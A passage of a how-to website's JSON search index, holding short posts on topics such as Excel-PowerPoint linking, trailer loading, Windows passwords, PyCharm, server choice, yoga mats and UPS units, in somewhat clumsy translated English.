PC!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYybmKyrXZe8sL%2FTZqanZaeeu6W71qxkamk%3D\n","link":"/post/how-to-enable-bass-boost-on-windows-11/","section":"post","tags":null,"title":"How to enable Bass Boost on Windows 11"},{"body":" This wikiHow teaches you how to collapse and hide an entire row, or multiple rows, from a Google Sheets spreadsheet without removing any data, using an internet browser. Open [https://sheets.google.com Google Sheets] in your internet...\n Jessica Tanner Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCZmbJuvs6wqmannmK0sLvGpZxmq5iasrW%2FjKilZqiTYryzecyamg%3D%3D\n","link":"/post/how-to-hide-rows-on-google-sheets-on-pc-or-mac/","section":"post","tags":null,"title":"How to Hide Rows on Google Sheets on PC or Mac"},{"body":" Linking Excel files to a PowerPoint presentation lets you to present and display complex data on a much simpler form that people can understand. This is very handy when you're conducting business or academic presentations. What's more is...\nPart 1of 2:\nOpening the Files to Link  Open the Excel file you wish to link with the PowerPoint presentation. Select Microsoft Excel from the Start menu to open it. Once you've launched Excel, you can either choose to open an existing Excel file or create a new one. If you choose to create a new document to link to a PowerPoint presentation, you need to save it first as an Excel file before you can do any kind of linking.   Open the PowerPoint file you wish to have the Excel file linked to. Launch Microsoft PowerPoint by selecting it on from the start menu. Once it launches, you can either open an existing PowerPoint presentation or create a new one by clicking the File button on the upper-left corner of the menu bar.\n Part 2of 2:\nLinking the Files  Choose where you want to insert the Excel file. On the PowerPoint presentation, click on the text field you want to insert an Excel file then click on the Insert tab on the upper-left section of the window to view the Insert toolbar.\n  Click on the Object button. This will open a small window called Insert Object.\n  Click on the 'Create from file' radio button. This will allow you to insert an existing file to your PowerPoint presentation, in this case, the Excel document.\n  Select the file to insert. Still on the Insert Object window, click on the Browse button and use the Explorer to navigate to the location of the Excel file you want to link. Once you've found the file, select it and click Okay.\n  Check the Link option. Back on the Insert Object window, make sure that you check the Link option right beside the Browse button. By doing this, any changes made on the Excel file will be automatically reflected on the PowerPoint presentation. Click on Okay to finish inserting the file. The data table on your Excel file should now be displayed on the presentation slide. You can move it anywhere on the presentation and adjust its height and width by clicking and dragging its corner points across the slide.   Make sure that the link works. Go back to Microsoft Excel and change any data in any of the cells. Once you've edited one of the cells, go back again to PowerPoint. The data on the Excel object on your presentation should reflect the same changes you made on the Excel file.\n  Isabella Humphrey Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSZo7husdecnKVlpKR6sbvWnqmpp5mjwQ%3D%3D\n","link":"/post/how-to-link-excel-to-powerpoint/","section":"post","tags":null,"title":"How to Link Excel to PowerPoint"},{"body":"Trailers make it easy to transport items from place to place. Loading and connecting a trailer the right way can be a somewhat complicated process, but it's vital in order to guarantee safe, efficient travel. Before you begin placing items...\nMethod 1of 3:\nCalculating Your Trailer Weight and Towing Capacity  Confirm your towing vehicle's Gross Trailer Weight Rating (GTWR). You'll find this number alongside your vehicle's VIN number, which is usually printed on a small sticker on the windshield or inner edge of the driver's side door. A vehicle's GTWR refers to the total amount of weight it can bear, including all cargo, passengers, and attachments.[1] Knowing how much weight your vehicle can handle will give you a better idea of how to load the trailer it will be pulling. Never exceed your towing vehicle's GTWR. Doing so can put serious strain on the engine, transmission, brakes, or other systems, potentially resulting in accident or permanent damage. Tip: If you're unable to locate the GTWR on the vehicle itself, consult your owner's manual. It will most likely be somewhere in with the vehicle's other various specifications.\n  Note the Gross Vehicle Weight Rating (GVWR) of your trailer. Similar to the GTWR for towing vehicles, a trailer's GVWR is its maximum weight limit when loaded. Nowadays, manufacturers typically list the GVWRs of their trailers in the product description or literature. You'll most likely also find the GVWR listed on a sticker somewhere on the trailer itself.[2] A spacious 8.5\u0026nbsp;ft (2.6\u0026nbsp;m) x 25\u0026nbsp;ft (7.6\u0026nbsp;m) flatbed trailer will have a GVWR in the neighborhood of 38,000 pounds (17,000\u0026nbsp;kg).   Subtract the weight of your trailer from its GVWR to see how much it will hold. If you know how heavy your trailer is, simply subtract its weight from the GVWR. Otherwise, you'll need to weigh it yourself. Hitch the empty trailer to your towing vehicle, haul it to a truck stop or another location with a certified scale, and drive it onto the scale. Once the scale calculates a weight reading, subtract this number from the trailer's GVR to find out how much weight it can safely carry.[3] Run a quick search to pull up a list of truck stops and other businesses in your area with certified scales available for general use. In some cases, you may have to pay a small fee in order to weigh your trailer. The weight of your trailer before it has been loaded is known as its 'curb weight.' If you have a trailer with a GVWR of 7,000\u0026nbsp;lb (3,200\u0026nbsp;kg) and a curb weight of 4,000\u0026nbsp;lb (1,800\u0026nbsp;kg), it will be able to safely haul 3,000\u0026nbsp;lb (1,400\u0026nbsp;kg) of cargo.[4]   Weigh the trailer's tongue to determine how best to distribute your cargo. The tongue is the long metal shaft that extends from the trailer to the back of the towing vehicle. The simplest way to find the weight of your trailer's tongue is to use a hitch that also measures tongue weight. If that's not an option, you can also set a bathroom scale on a cinder block or other sturdy object with height matching the rear of your towing vehicle and rest the tongue on it long enough to record the weight manually.[5] Ideally, your trailer's tongue weight should be somewhere between 10% and 15% of its total weight when loaded. Too heavy a tongue could make it difficult to maneuver your vehicle once you've hitched the trailer, while one that's too light could cause the trailer to sway when you steer the vehicle through a curve.[6] It's possible to adjust the tongue weight of your trailer by repositioning its cargo. If the tongue weight is too high, for example, you can shift some of the cargo to the back to lighten the pressure on the hitch.  Method 2of 3:\nArranging the Items in Your Trailer  Aim for a 60-40 weight distribution towards the front of the trailer. As you proceed with the loading process, you'll want to arrange your cargo in such a way that approximately 60% of the weight is positioned at the front end, with the remaining 40% in the back. Proper weight distribution is a crucial part of safe driving, as it minimizes cargo shift and decreases the chances of the trailer swaying or whipping once you're in motion.[7] It's helpful to apply the \"60-40 rule\" whether you're using an enclosed cargo trailer or one with an open design.[8] There's no need to get too technical when it comes to distributing the weight of your cargo. As long as you keep slightly more weight in the front of the trailer and drive carefully, you aren't likely to encounter any problems.   Place top-heavy items closer to the front of the trailer to prevent shifting. If you're moving tall, easily off-balanced items like armoires, display cabinets, or bookcases, load them first and make sure they're even with or just ahead of the trailer's front axle. Since this part of the trailer is the shortest distance from the back of the towing vehicle, items situated there will have much less of an effect on the way your vehicle drives.[9] Loading top-heavy items first also makes them easier to tie down and less likely to 'dive', or take weight off of the tongue and decrease your towing vehicle's steering and braking capabilities as a result.   Position the heaviest items in the center of the floor to keep them stable. Next, move in any especially weighty cargo you may have, such as bulky furniture, appliances, and small vehicles or power equipment. Push these up against your top-heavy items to provide additional support from the rear, and pack them in as tightly together as possible to minimize shifting and sliding.[10] You might use a heavy vanity to brace a tall china cabinet, with a mattress stood horizontally in between to serve as a buffer. Heavy items tend to cause the most issues while your towing vehicle is in motion. Make sure each of the items in your second round of cargo is stable and secure, especially if you're using an open trailer.   Stack smaller items by weight in the space you have remaining. Once you've loaded your heaviest and most precarious items, you can begin filling in the back of the trailer with small pieces of furniture, boxes, and other accessories. Set the heaviest items on the trailer floor, then pile the rest of your cargo on top from heaviest to lightest.[11] Be sure to balance the items in the back of your trailer not only from bottom to top, but from front to back.   Secure your cargo from multiple angles using tie-downs. Drape a series of ropes, chains, or nylon webbings straps widthwise across your cargo every 5–10 feet (1.5–3.0\u0026nbsp;m). Pull the ties taut and fasten the ends to the rails, hooks, rings, or other available attachment points on either side of the trailer, wrapping the excess material if necessary to eliminate slack. Before you hit the road, take a moment to double-check each connection site.[12] If you're worried about taller items falling over lengthwise, you can run an addition 1-2 ties from the front of the trailer to the back. Always tie down your cargo when towing an open trailer. It may also be a good idea to secure select items, like top-heavy furniture and appliances, in enclosed trailers that aren't completely full. The exact number of tie-downs you use will vary depending on how much and what kind of cargo you're carrying. You may be able to get by with 1 or 2 for small- and medium-sized items that aren't in danger of tipping over, whereas you'll likely need a minimum of 3-4 when moving house or transporting large equipment.[13] Tip: For maximum security, consider investing in a set of adjustable ratchet straps.\n Method 3of 3:\nHitching and Towing Safely  Measure the height of both your vehicle and trailer hitches. Park the towing vehicle and trailer back-to-front on a level patch of ground. Use a tape measure to find the distance from the ground to the top of the hitch or hitch receiver opening on your vehicle. Then, measure a second time from the ground to the top of the coupler on your trailer.[14] Be sure to also measure the length of your hitch ball, if you have one already. You'll need this measurement to select the perfect ball mount for your hitch. Most hitch balls are between 2\u0026nbsp;1⁄2 to 3\u0026nbsp;in (6.4 to 7.6\u0026nbsp;cm) in length.   Find the difference of the 2 measurements to equip the right ball hitch. Subtract the smaller measurement from the larger one to determine the height distance between the vehicle and trailer hitches. Once you've done that, subtract the length of your hitch ball. If your vehicle's hitch is lower than the trailer coupler, you'll need an elevated ball mount, or one that has 'rise.' If your vehicle's hitch is higher than the trailer coupler, you'll need a mount with 'drop' to make up the height difference.[15] If your hitch is 15\u0026nbsp;in (38\u0026nbsp;cm) high and your coupler is 10\u0026nbsp;in (25\u0026nbsp;cm) high, you'd subtract 10 from 15 to get a height difference of 5\u0026nbsp;in (13\u0026nbsp;cm). This means that the ball mount needs to drop 5\u0026nbsp;in (13\u0026nbsp;cm) to meet the trailer. Conversely, if your hitch is 10\u0026nbsp;in (25\u0026nbsp;cm) high and your coupler is 15\u0026nbsp;in (38\u0026nbsp;cm), you'd subtract 10 from 15, giving you a necessary rise of 5\u0026nbsp;in (13\u0026nbsp;cm). The hitch ball will reduces the total rise or drop by its length. For example, if the ball is 3\u0026nbsp;in (7.6\u0026nbsp;cm) long, subtract it from 5\u0026nbsp;in (13\u0026nbsp;cm) to get a drop of 2\u0026nbsp;in (5.1\u0026nbsp;cm).   Select a mount and hitch ball that are the right size for your trailer. You'll need to keep your rise or drop measurement in mind while buying or renting a ball mount to connect your trailer to your towing vehicle. To install your ball mount, insert the shank of the mount into your vehicle's hitch receiver, then slide the included hitch pin through the aligned holes in the receiver and shank. Secure the hitch pin by slipping the straight leg of the pin clip through the small hole at the end.[16] The opening in your ball mount should be the same diameter as your hitch ball, or vice versa. There are only 3 standard hitch ball sizes in the U.S.—1\u0026nbsp;7⁄8\u0026nbsp;in (4.8\u0026nbsp;cm), 2\u0026nbsp;in (5.1\u0026nbsp;cm), and 2\u0026nbsp;5⁄16\u0026nbsp;in (5.9\u0026nbsp;cm).[17] Make sure you use a ball mount with a weight rating that matches your vehicle's towing capacity. You won't be able to haul any loads greater than that number, even if you use a mount rated for more weight. Warning: Using the wrong size ball mount or hitch ball could cause the trailer to come loose while you're on the road, potentially leading to accident or injury.\n  Back your towing vehicle up to the trailer. Put the vehicle in reverse and creep towards the front end of the trailer slowly. Stop when the hitch ball is positioned directly above or beneath the trailer coupler. It may take a few attempts to get the 2 components lined up precisely.[18] If possible, have another person stand nearby to direct your movements and help you get the hitches centered.   Connect the trailer to your vehicleby lowering the coupler onto the hitch ball. Lift the latch on the top of the coupler, then turn the handle on the trailer jack clockwise or counterclockwise to raise or lower the coupler enough to bring it down over the hitch ball. When the hitch ball is sitting squarely inside the coupler, flip down the coupler latch and insert the included pin through the hole in the top to lock it in place.[19] Many trailers come with jacks built in for quick and easy hitching. If yours doesn't, you can pick one up from any trailer supply company. Trailer jacks range in price from $50 to $400-500 for automated or multi-use models. Use chains to reinforce the connection between the vehicle and trailer hitches. Cross 2 strands of chains under the tongue and hook the ends to the loops on either side of the opposing hitch. The chains will act as a failsafe if the hitch happens to fail for any reason.[20]   Hook the trailer's electrical system up to your vehicle if it has brake lights. Most newer trailers have retractable wires somewhere near the coupler that are designed to be patched directly into the electrical system of the vehicle towing them. If you find such a wire on your trailer, run it to the socket on the back of your vehicle and plug it in. This will allow you to make use of brake lights and other functions while you're pulling the trailer.[21] Test your electrical connection quickly before you get moving. If everything is working correctly, activating the brake lights or turn signal on your vehicle will also activate the corresponding lights at the rear of the trailer. Adjust the wire so that it lays on top of the coupled vehicle and trailer hitches. That way, it will be less likely to become damaged during a rough ride or an accidental disconnection.   Drive slowly and carefully once you get out on the road. Stay at or below the posted speed limit for the area you're in at all times. It's also a good idea to avoid exceeding 55 miles per hour (89\u0026nbsp;km/h) on highways and interstates, regardless of what the speed limit is. Remember, the faster you're going, the less control you'll have over the trailer.[22] If you've got a long way to go, set out a little early to give yourself ample time to reach your destination safely. If you're driving too fast and you're forced to throw on your brakes, there's a chance that your cargo could slide, shift, or even come free of its tie-downs.   Reduce your speed around turns to prevent swaying. As you approach the turn, press down lightly on the brakes of your towing vehicle and slow down by 8–10 miles per hour (13–16\u0026nbsp;km/h) until the road you're on straightens out. This will keep the trailer from swaying or whipping, which typically happens when you change direction too quickly at high speeds.[23] It may sometimes be necessary to cut across the opposing lane of traffic in order to make a tight turn. Be extremely cautious when doing this, however, especially when traffic is heavy. If swaying does occur, take your foot off of the accelerator and drive in as straight a path as possible until you regain control over the trailer. Attempting to speed up or slow down could just make the fishtailing effect worse.[24]   Leave 4-5 seconds' worth of space between you and vehicle in front of you. This could be 2-3 times the combined length of your towing vehicle and trailer, depending on how fast you're going. Hanging back a bit more than you ordinarily would will not only give you more room to maneuver comfortably but also increase your reaction time in the event of an accident or sudden slowdown.[25] When passing a slower-moving vehicle, be sure to switch on your turn signal well ahead of time to alert the driver to your intentions and ensure that you have enough space to accelerate and change lanes.[26] Bear in mind that you'll be the one held responsible if you happen to rear-end another driver. The added momentum generated by the weight of your cargo could also cause significantly more damage to other vehicles in a collision scenario.   David Pac Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSflrFurYytqZqhnJq%2F\n","link":"/post/how-to-load-a-trailer/","section":"post","tags":null,"title":"How to Load a Trailer"},{"body":"If you're a fan of Rules of Survival, you won't miss the latest features in the updated version, including logging in Rules of Survival PC with your Facebook or Google account.\nIt is not too much to say that Rules of Survival is now a much sought after game, with a large number of players on game forums or Fanpage. In addition to the attractive gameplay of shooting survival, the continuous updating of new features also creates attraction for gamers. Logging into the game via Facebook or Google accounts will help us access the game faster, instead of scanning the QR code as before. You can use your new Facebook account, or use the Facebook account connected to Rules of Survival before.\nNote that if you are logged into Rules of Survival with a previous Facebook account, then it is not possible to login. Try performing the Sign in game again with Facebook. In case the system has an upgrade schedule, we cannot log into the game.\nThe following article will guide you how to play the Rules of Survival game with your Facebook account.\nHow to install the Rules Of Survival game on PC How to play the Rules Of Survival game on the computer How to fix errors hanging game Rules of Survival How to log in Rules of Survival with Facebook Download the Rules of Survival PC game Download the game Rules of Survival Android Download Rules of Survival iOS Step 1:\nAs soon as you start Rules of Survival on your computer, you will see the game login interface. The manufacturer has provided 2 more ways to login via Facebook, or via Google account, besides scanning the QR code as before. Click Sign in with Facebook .\n  Step 2:\nEnter your Facebook account to log in to Rules of Survival, then click the Login button to access.\n  Step 3:\nWait for Rules of Survival to connect to the Facebook account you have logged in. Then click the Continue button under the Facebook account name .\n  Step 4:\nIf the Facebook account has not been connected to the Rules of Survival account at any time, users will need to agree to the game permissions. Click on the blue rectangle as shown below to complete it.\n  So we can access the game via Facebook account already. All login information will be saved by the system.\n  When accessing the game again, the system will bring up the Facebook account that you previously registered to enter the game, click Login to enter the game. Or you can switch to another account if you want, when you click Switch account.\n  There is no need to install Rules of Survival on your phone to scan QR codes for playing Rules of Survival on your computer, now you will play games faster through your Facebook or Google account. Players can use various Facebook accounts to create Rules of Survival account.\nSee more:\nTips for playing Rules of Survival for newbies should not be ignored Tips for playing Rules Of Survival to stand TOP Jumpy tips in Rules of Survival game ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSfnHqquoyrrKWdo2K8p3nSrqmvoaaWuW7DyK2fZp6RmLKju86k\n","link":"/post/how-to-log-in-rules-of-survival-with-facebook/","section":"post","tags":null,"title":"How to log in Rules of Survival with Facebook"},{"body":"Personal computers always have a lot of important data that we cannot let others see. The best way to protect those data is to use a password to lock your computer away from others. With each different version of Windows, there are different interfaces and the password for each version of Win is also different, making users surprised. Thuthuatphanmem.vn today will guide you how to set a password, password for your computer, laptop.\n  1. How to set a password for Windows 7. Step 1: Go to the Windows icon and select Control Panel.\n  Step 2: Select the User Accounts and Family Safety section\n  Step 3: Select User Accounts\n  Step 4: Select Create a password for your account\n  Step 5: You create the password you want to finish, select Create password\n  Note:\nNew Password: This is where you enter your new password Confirm new password: You enter your new password once to avoid the process of entering a new password you mistype Type a password hint: Here you enter your password hint (if needed). This hint will appear when you enter the wrong password many times to help you remember what password you have set. II. Create a computer password for Windows 10 Step 1: Click on the Windows icon , find the user icon and right click and select Change account settings\n  Step 2: Choose Sign in Options , find Password and click Add\n  Step 3: Enter the password you want to enter and then click Next is finished.\n  Note:\nNew Password: This is where you enter your new password Reenter password: You re-enter your new password once to avoid the process of entering a new password you mistype Password hint: Here you enter your password hint (if needed). This hint will appear when you enter the wrong password many times to help you remember what password you have set. Above is how to set the password for computers and Laptops in both Windows7 and Windows 10. Thuthuatphanmem.vn wish you success.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXqiec%2Baqqyvn6exbrzArKqwp6KZeqe70WaroZ1dmLyuvNStnKtlnJa9tbvP\n","link":"/post/how-to-set-a-password-password-for-the-computer-laptop/","section":"post","tags":null,"title":"How to set a password, password for the computer, laptop"},{"body":"For those who are in the habit of saving every recording on the Desktop for easy access, soon your screen will look like a \"matrix\" with dozens of tiny icons. If anyone has fewer icons, the search is not difficult. But for anyone with a long queue shortcut that covers the entire Desktop, finding a tool, or a folder, takes less of your time.\nSo why don't you try to think of your screen cleaner becoming more neat, icons bundled into separate items that still appear right on the Desktop? With professional screen management, the Fences tool will take care of the desktop design much more neatly. Along with the Network Administrator to find out how Fences works.\n1. How to register for a trial of Fences on your computer: Fences allow us to try it out within 30 days and will register via email account.\nStep 1: You download Fences following the link below and run the program. We will tick the box to sign the terms , then click Next to continue.\nDownload Fences software   Step 2: Next, you will be redirected to the new window interface. Here, we uncheck the box in the Yes, also install Start10 box to avoid not installing other unnecessary programs. Click Next .\n  Step 3: The next thing is to click Next and wait for the automatic installation process. After that, the program will start automatically and a small window will appear. Download the trial version, so click on Start 30 Day Trial to use it.\n  The software will ask you to enter your email address to receive free activation.\n  After pressing the button, press Enter and a message window will appear as shown below. Leave the activation window on the screen.\n  Step 4: You open Fences activation email account. Click the blue Activate 30-Days Trial button to try it out.\n  As soon as you click on, Fences' activation window will automatically update and we have finished activating the trial. Click Finish to finish.\n  Step 5: Soon the Stardock Fences window interface will appear. Click Start using Fences to use the program.\n  2. How to arrange Desktop by Fences: The setting window of the program will appear as shown below:\n  Step 1: Immediately, your Desktop screen has been divided into 3 different categories , including: Programs , Folder , Files \u0026amp; Documents .\n  In an item if there are many different programs, you will use the mouse wheel to find the program you need.\n  Step 2: You open the program's setup window . On the left menu will be the setting options when using Fences. Currently you will be automatically using Quick-hide layout .\n  With this arrangement, if we double-click the left mouse on the Desktop, the entire icon will be gone, leaving only the background. To appear again, we double-click again.\nStep 3: If you want to add certain files or programs , just drag and drop into that management area .\n  Step 3: To create more folders, left-click on the screen area to create and hold, drag to create a new shortcut container. You can create new area widths as much as you like.\nWhen you release the left mouse button, there are 2 options. Click Create Fences here to create a new entry.\n  Step 4: Finally, we'll name that management area .\n  Step 5: With the Create Folder Portal here option , we will be able to select the folder in the computer to create the management area . Select the folder and click Select Folder .\n  Soon, the folder will appear on the screen and form the management area. We click on the 3 dashes icon to bring up options for this management area .\n  As such, we have instructed you to complete the Fences registration steps and how to arrange the Desktop by Fence. Your screen looks tidy and tidy, right ?! From now on, we don't need to strain our eyes to find the program we need.\nRefer to the following article: Instructions for filming the screen with CyberLink Youcam Instructions for filming a screen with Bandicam How to show and display screen of Windows Phone on computer I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kuqK6wKCcZqWfp7Jur86mp5qbpGKxpr%2FKraapZZ2ku6rAzquqZq%2BZqbVussSnmp6r\n","link":"/post/manage-more-compact-desktop-monitors-with-fences/","section":"post","tags":null,"title":"Manage more compact Desktop monitors with Fences"},{"body":"Users can develop their own scripts and code. In addition, they are also provided with powerful programming tools.\nDownload PyCharm here\n  Features of PyCharm Support writing smart code PyCharm offers smart code completion, code checking, markup, and quick debugging, along with automatic code refactoring and rich navigability.\nPyCharm's smart code editor offers top-notch support for Python, JavaScript, CoffeeScript, TypeScript, CSS, popular template languages, and more.\nUse smart search to jump to any class, file or icon, or even any IDE action or tool window.\nRefactor your code the smart way, with Rename and Delete, Extract Method, Introduce Variable, Inline Variable or Method and other refactoring methods. Language and framework-specific refactoring helps you make project-wide changes.\nBuilt-in Developer Tools PyCharm's vast tools collection includes a built-in debugger and a test runner; Python compiler; a built-in terminal; integration with main VCS and built-in database engines; the ability to develop remotely with an interpreter; an integrated ssh terminal; integrates with Docker and Vagrant.\nUse a powerful debugger with graphical user interfaces for Python and JavaScript. Create and run tests with coding support and a GUI-based test runner. Take full control of your code with the built-in Python Profiler.\nSave time with a unified user interface for working with Git, SVN, Mercurial, or other version control systems. Run and debug your application on remote machines. Easily configure automatic deployment to remote servers or virtual machines, and manage infrastructure with Vagrant and Docker.\nAccess Oracle, SQL Server, PostgreSQL, MySQL and other databases right from the IDE. Rely on PyCharm's help when editing SQL code, running queries, browsing data, and changing schemas.\n  Web development In addition to Python, PyCharm also provides top-notch support for various Python web development frameworks, specific template languages, JavaScript, CoffeeScript, TypeScript, HTML/CSS, AngularJS, Node.js, etc.\nThe Live Editing Preview feature allows you to open a page in the editor and browser, see the changes being made in the code instantly in the browser. PyCharm automatically saves changes and the browser intelligently updates the page on the fly, showing the edits you've made.\nCustomizable and cross-platform IDE Use PyCharm on Windows, macOS and Linux with a single license key. Enjoy a refined workspace with customizable color palettes and keybindings, with VIM emulation.\nAdvantage\nSupport writing smart coding Convenient code navigation Compatible with other scripting software and plug-ins Can be deployed on many different platforms Defect\nRequires large system resources Can slow down at certain times More features available at PyCharm Professional Edition May not support some code PyCharm PyCharm download ncG1vNJzZmismaXArq3KnmWcp51kvbqvx5qppmWUpMSvuM6am2asmJp6ra3TnqqtZaCusKmt0aY%3D\n","link":"/post/pycharm-download-the-latest-pycharm/","section":"post","tags":null,"title":"PyCharm - Download the latest PyCharm"},{"body":"The whole purpose and total characteristics of a website are the factors that form the choice of Linux server and Windows server. In this article we will discuss the advantages of Linux servers and Windows servers to help you choose the right server type. \n You plan to hire a server service to build a website for small businesses, but you need to know the basics of network servers. It is you who will evaluate what characteristics are required and how much the budget is. Typically, the choice of server for the site depends on the programming language used on the site. If you use programming languages ​​such as PHP, MySQL, or Perl, Linux server is the preferred choice. But if you program a website with ASP.Net language, the best choice is Windows server service. If you need some interactive means such as chat or searchable database, do not use Linux servers. In addition, Linux-based network services will not be fully compatible with some Windows technologies. If you are using any Window technology such as Visual Basic, then the Windows-based server is a must.    Advantage of Linux server 1. Linux is an open source software product and therefore it does not need high licensing costs compared to other operating systems; You can download and use it for free. 2. A website on Linux can easily be converted to a Windows website quickly. At the same time, the website can be easily changed when the user's request increases. 3. Linux web servers are very economical when Linux is a free operating system. Usually it only takes delivery costs incurred by the server or owner. 4. When programming languages ​​like PHP, MySQL, or Perl . are required on your website, Linux servers are the most cost-effective, reliable and cost-effective solution. Unless the programming language is heavily loaded, this will not be trackable. 5. There are many types of databases running on Linux servers, but the most popular and probably the most popular among web server providers are mSQL, MySQL and PostgreSQL. These databases are naturally related, and allow for wide-ranging website communications to quickly declare data. 6. Because most Linux server groups are more secure than Windows, Linux servers have become a more popular choice for web designers and programmers. Advantage of Windows server 1. .Net technologies like ASP.Net, VB.Net are very suitable for this platform. If your website is built on Microsoft's .Net technology, you will have to choose a Windows server plan . 2. If you need an enterprise class database, there are a number of different features running on the Linux platform but if you need to use the MSSQL database, then Windows server is the best choice. 3. Access database is only available on Windows server (Refer to: http:/// www.planethost.com.au/). Access can only run on Microsoft Windows platforms and therefore it will not show up on Linux servers. If your site specifically needs this feature, you will have to choose to use a Windows server. 4. You are using some Microsoft shared services, the Windows server is a reliable choice. 5. Windows plans often cost a lot because of Microsoft's mandatory copyright. In general, Linux servers account for at least 20% more profit than Windows servers. If you don't need any specific features for your site, such as searching for a database, Linux servers are the best solution to meet your needs. In case you are required by special Microsoft technologies, Windows server will be more convenient to the needs of the website.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJuYrKGTYq6lwsCnq5qflah6sLKMpaCnrahiwKa%2B1Z6prGWRo7Fuw8inm6ivXaiys8LEq6o%3D\n","link":"/post/the-basic-advantages-of-linux-servers-and-window-servers/","section":"post","tags":null,"title":"The basic advantages of Linux servers and Window servers"},{"body":"Many times you have been taught yoga or TPE yoga mat by teachers. So what is TPE actually? TPE yoga mats are good? Join us to find answers through the following article!\ncontent What is TPE? Is TPE yoga mat good? Advantages of TPE yoga mats Defect:  Suggest some of the most popular TPE yoga mats today Taiwan TPE Carpet 8 cups Taiwan TPE Carpet 6 cups Yoga TPE LS3237 Carpet    \u0026gt;\u0026gt; Reference: Experience choosing to buy the best yoga mats\nWhat is TPE? TPE is a material made from natural young rubber, they have high elasticity, excellent elasticity, and it can also withstand very well.\nThanks to its outstanding advantages, safety and environmental friendliness, today, besides being included to produce quality yoga mats, TPE is also applied in many different areas such as :\nManufacturing toys. As raw material for production of office equipment. Manufacturing electric wires. Manufacturing equipment and machinery for the health sector . Is TPE yoga mat good? To evaluate them objectively, first learn the features and advantages of this product line.\n  Advantages of TPE yoga mats Safe with skin and environmentally friendly : Thanks to being processed according to the heat molding process, TPE yoga mats completely contain no harmful substances. They are safe for health, at the same time environmentally friendly because of their reusability.\nActive support when you exercise : TPE yoga mats have good strength, heat resistance (Can withstand thermal temperatures from -50oC to 120oC) to achieve ideal mat life of 4 - 5 years. In addition, good grip should help the user to maintain balance easily, not causing slippery or difficult when you perform yoga movements.\nIdeal thickness: While the yoga mats made of PVC material are only about 3 - 6 mm thick, TPE yoga mats have an outstanding thickness of 4 - 8mm. The higher the thickness, the more expensive it is, but it will always ensure that users are safe when performing movements, even when practicing difficult, highly technical movements.\nEasy to clean: TPE material will also bring you the convenience of cleaning and cleaning so that the carpet always has high aesthetic.\nStandard size: Unlike PVC yoga mats, TPE yoga mats are molded to each plate separately so it will be perfectly suitable and ideal for users.\nDefect: The price is higher than that of PVC yoga mats.\nShould I use TPE yoga mats? Of course, the answer is yes, if you practice regularly and want to practice the most convenient daily practice, choosing a TPE yoga mat is ideal.\nSuggest some of the most popular TPE yoga mats today 1. Taiwan TPE Carpet of 8 cups Characteristics:\nThe carpet is made of TPE material with high durability, safe for skin and environmentally friendly. Products are casted in 1 layer so it does not cause peeling and separation. You can wash them easily by hand or washing machine. Designed on the surface with striking lines and striking striking, underside deep vertical vein with high grip to avoid slippery when users practice. There are many colors for you to choose.   Products cost: 360,000 VND.\n2. Taiwan TPE Yoga Carpet 6 cups Characteristics:\nVarious colors. Embossed patterns are extremely delicate and modern. Carpet size: 183cm x 61cm x 0.6cm Products are priced at: 320,000 VND.\n  \n3. Yoga TPE LS3237 Carpet Characteristics:\nCarpet size: 173cm x 61cm x 0.6cm The underside has good adhesion and friction resistance, ensuring safety when practicing. Easy to clean and clean. Durable. Many colors to choose from. Product cost: 340,000 VND.\n  \nThis article has helped you understand what TPE is and should you use TPE yoga mats? Currently TPE yoga mats are being sold at META.vn.\nIf you need to own them, please contact our hotline for advice and fastest support:\nIn Hanoi: 024.3568.6969 In HCMC: 028.3833.3366 ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWkpbJutdJmq6mdXa68qK2MppitZZekvKU%3D\n","link":"/post/what-is-tpe-is-tpe-yoga-mat-good/","section":"post","tags":null,"title":"What is TPE? Is TPE yoga mat good?"},{"body":"You are looking to buy an Uninterruptible Power Supply (UPS) and do not know which is best? There are many types of capacitors with different purposes and prices, so this article will introduce some of the best power banks to help you choose the right device.\nComputer power source: More important than you think 5 things to know when buying a computer power supply Will power outages and voltage surges harm the computer? Note: The price of the unit in this article is for reference only at the time of writing and is subject to change. You should contact the seller to get the most accurate price.\nWhat is a UPS? UPS is an electrical device used in an emergency that can provide uninterruptible power.\nIf the utility power is lost, the unit may start immediately to ensure that the home, equipment or lights are not out of power. It is different from traditional generators that need to plug it into the mains and turn on.\nFrom a technology standpoint, the unit acts as an emergency battery, ensuring the device has enough power to complete the shutdown, avoiding loss of work or file damage.\nSo which UPS is worth considering?\n1. The best overall UPS - APC BX1500M Back-UPS Pro 1500VA (3.8 million VND)   If there are many devices in the house that need uninterruptible power supply, you should consider APC BX1500M Back-UPS Pro.\nIt has five sockets (each with anti-turbocharger type), RJ-45 and coaxial line protection (for telephone, fax and modem protection), voltage regulation and 64 minutes of running with power 100 watts. APC BX1500M is capable of running desktop, server, game console, TV, router and other technological devices in your home.\nUnlike cheaper power units, the APC BX1500M comes with an LED screen, which makes it easy to see how much charge is left in the device or when fully charged.\n2. Best cheap UPS - APC BE600M1 Back-UPS 600VA (1.4 million VND)   APC introduces BE600M1 Back-UPS 600VA as the best backup power supply for Internet of Thing devices. This small, compact device doesn't take up much room in your office or home.\nIt has five normal sockets, two with sump booster, so your device will not be damaged if the main power on, off suddenly. It also has a USB connector.\nIf the APC BE600M1 600VA runs at 100 watts, its battery can last for 23 minutes. You can upgrade it to 850VA model to increase the total number of plugs from eight to 11 and can run in 32 minutes. Both products have a notification when the battery is low.\nAPC predicts the service life of the BE600M1 Back-UPS 600VA to be from three to five years.\n3. The best UPS for network cabinets - Tripp Lite SMART1500LCDXL 1500VA (6.1 million VND)   If there is a network cabinet in the house, Tripp Lite SMART1500LCDXL 1500VA is a solid choice thanks to its DIY connection points. The device frame is molded so you can attach the stand and screw it directly into the network cabinet, making the home server look tidier.\nIn terms of specifications, the Tripp Lite UPS has eight sockets (all are anti-turbocharger types), 12 minutes of half-load and four minutes of full load and LED display.\nWhat makes this unit stand out from other capacitors is that the manufacturer provides up to $ 250,000 in coverage for any device connected to the unit for three years. And it has an external battery 